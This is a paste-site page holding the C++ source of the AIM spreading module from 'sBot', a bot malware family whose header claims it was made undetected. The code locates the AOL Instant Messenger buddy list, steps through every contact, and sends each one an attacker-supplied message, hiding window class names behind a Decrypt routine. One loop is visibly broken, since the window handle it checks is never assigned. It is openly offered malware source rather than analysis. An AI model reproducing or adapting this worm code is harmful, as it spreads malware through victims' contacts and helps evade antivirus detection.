All pastes #630374 Raw Edit

Someone

public text v1 · immutable
·published 2007-07-23 04:14 UTC
rendered paste body
/*
	     sBot
  	    Aim.cpp
	  Credits to: ?
	  
	Undetected + Port by a59
*/
#include "../header/Define.h"
#ifndef NO_AIM
#include "../header/Include.h"
#include "../header/Externs.h"

unsigned long __stdcall AIMSpread( void *pVoid )
{
	/* Threaded function for aim spread */
	char* szMsg = (char *)pVoid;

	HWND hBuddyList = FindBuddyList( );

	if( fIsWindow( hBuddyList ) )
		IMAll( hBuddyList, szMsg );

	if( hBuddyList )
		fCloseHandle( hBuddyList );

	return 0;
};

HWND FindBuddyList( void )
{
	HWND oscarNotify = fFindWindow( Decrypt( StatusNotify ), NULL);

	if( fIsWindow( oscarNotify ) )
	{
		fSendMessage( oscarNotify, WM_COMMAND, 20003, 0 );

		HWND buddyList = 0;
		HWND aimAd = 0;

		do
		{
			buddyList = fFindWindowEx( 0, buddyList, Decrypt( CNum ), NULL );

			if ( fIsWindow( buddyList ) )
			{
				aimAd = fFindWindowEx( buddyList, 0, Decrypt( AimAd ), NULL );

				if( fIsWindow( aimAd ) )
					return buddyList;
			}
		}while( fIsWindow( buddyList ) );
	}

	return 0;
};

void SendIM( HWND imWindow, LPCTSTR message )
{
	HWND textBox = 0;
	HWND wndAte = 0;

	do
	{
		wndAte = fFindWindowEx( imWindow, wndAte, Decrypt( WndClass ), NULL );

		if( fIsWindow( wndAte ) )
		{
            textBox = fFindWindowEx( wndAte, 0, Decrypt( CBClass ), NULL );

			if( fIsWindow( textBox ) )
			{
				textBox = fFindWindowEx( wndAte, 0, Decrypt( AteClass ), NULL );
				fSendMessage( textBox, WM_SETTEXT, 0, (LPARAM)message );
				wndAte = 0;
			}
		}
	}while( fIsWindow( wndAte ) );

	do
	{
		wndAte = fFindWindowEx( imWindow, wndAte, Decrypt( OscarIcon ), NULL );

		if( fIsWindow( wndAte ) )
		{
			if( ( (int)fGetMenu( wndAte ) ) == 409 )
			{
				fSendMessage( wndAte, WM_LBUTTONDOWN, 0, 0 );
				fSendMessage( wndAte, WM_LBUTTONUP, 0, 0 );

				wndAte = 0;
			}
		}
	}while( fIsWindow( wndAte ) );
};

void IMAllWindows( LPCTSTR message )
{
	HWND imWindow = 0;

	do
	{
		fFindWindowEx( 0, 0, Decrypt( AimIMsg ), NULL );

		if( fIsWindow( imWindow ) )
		{
			SendIM( imWindow, message );
			fSendMessage( imWindow, WM_CLOSE, 0, 0 );
		}

		fSleep( 4000 );

	}while( fIsWindow( imWindow ) );
};

void IMAll( HWND buddyList, LPCTSTR message )
{
	HWND oscarTree = fFindWindowEx( buddyList, 0, Decrypt( CNum ), NULL );
	oscarTree = fFindWindowEx( oscarTree, 0, Decrypt( OscarTree ), NULL );

	if( fIsWindow( oscarTree ) )
	{
		int itemCount = fSendMessage( oscarTree, LB_GETCOUNT, 0, 0 );
		int itemIndex = -1;

		while( itemCount > itemIndex )
		{
			fSendMessage( oscarTree, LB_SETCURSEL, ++itemIndex, 0 );
			fSendMessage( oscarTree, WM_KEYDOWN, 37, 0 );
			fSendMessage( oscarTree, WM_KEYUP, 37, 0 );
		}

		itemCount = fSendMessage( oscarTree, LB_GETCOUNT, 0, 0 );
		itemIndex = itemCount;
		--itemIndex;

		while( --itemIndex >= 0 )
		{
			fSendMessage( oscarTree, LB_SETCURSEL, itemIndex, 0 );
			fSendMessage( oscarTree, WM_KEYDOWN, 39, 0 );
			fSendMessage( oscarTree, WM_KEYUP, 39, 0 );

			int temp = fSendMessage( oscarTree, LB_GETCOUNT, 0, 0 );
			temp -= ( itemCount - itemIndex );

			for( int i = itemIndex + 1; i <= temp; ++i )
			{
				fSendMessage( oscarTree, LB_SETCURSEL, i, 0 );
				fSendMessage( buddyList, WM_COMMAND, 139, 0 );
				IMAllWindows( message );
			}
			
			fSendMessage( oscarTree, LB_SETCURSEL, itemIndex, 0 );
			fSendMessage( oscarTree, WM_KEYDOWN, 37, 0 );
			fSendMessage( oscarTree, WM_KEYUP, 37, 0 );
			fSendMessage( oscarTree, LB_SETCURSEL, itemIndex, 0 );
		}
	}
};
#endif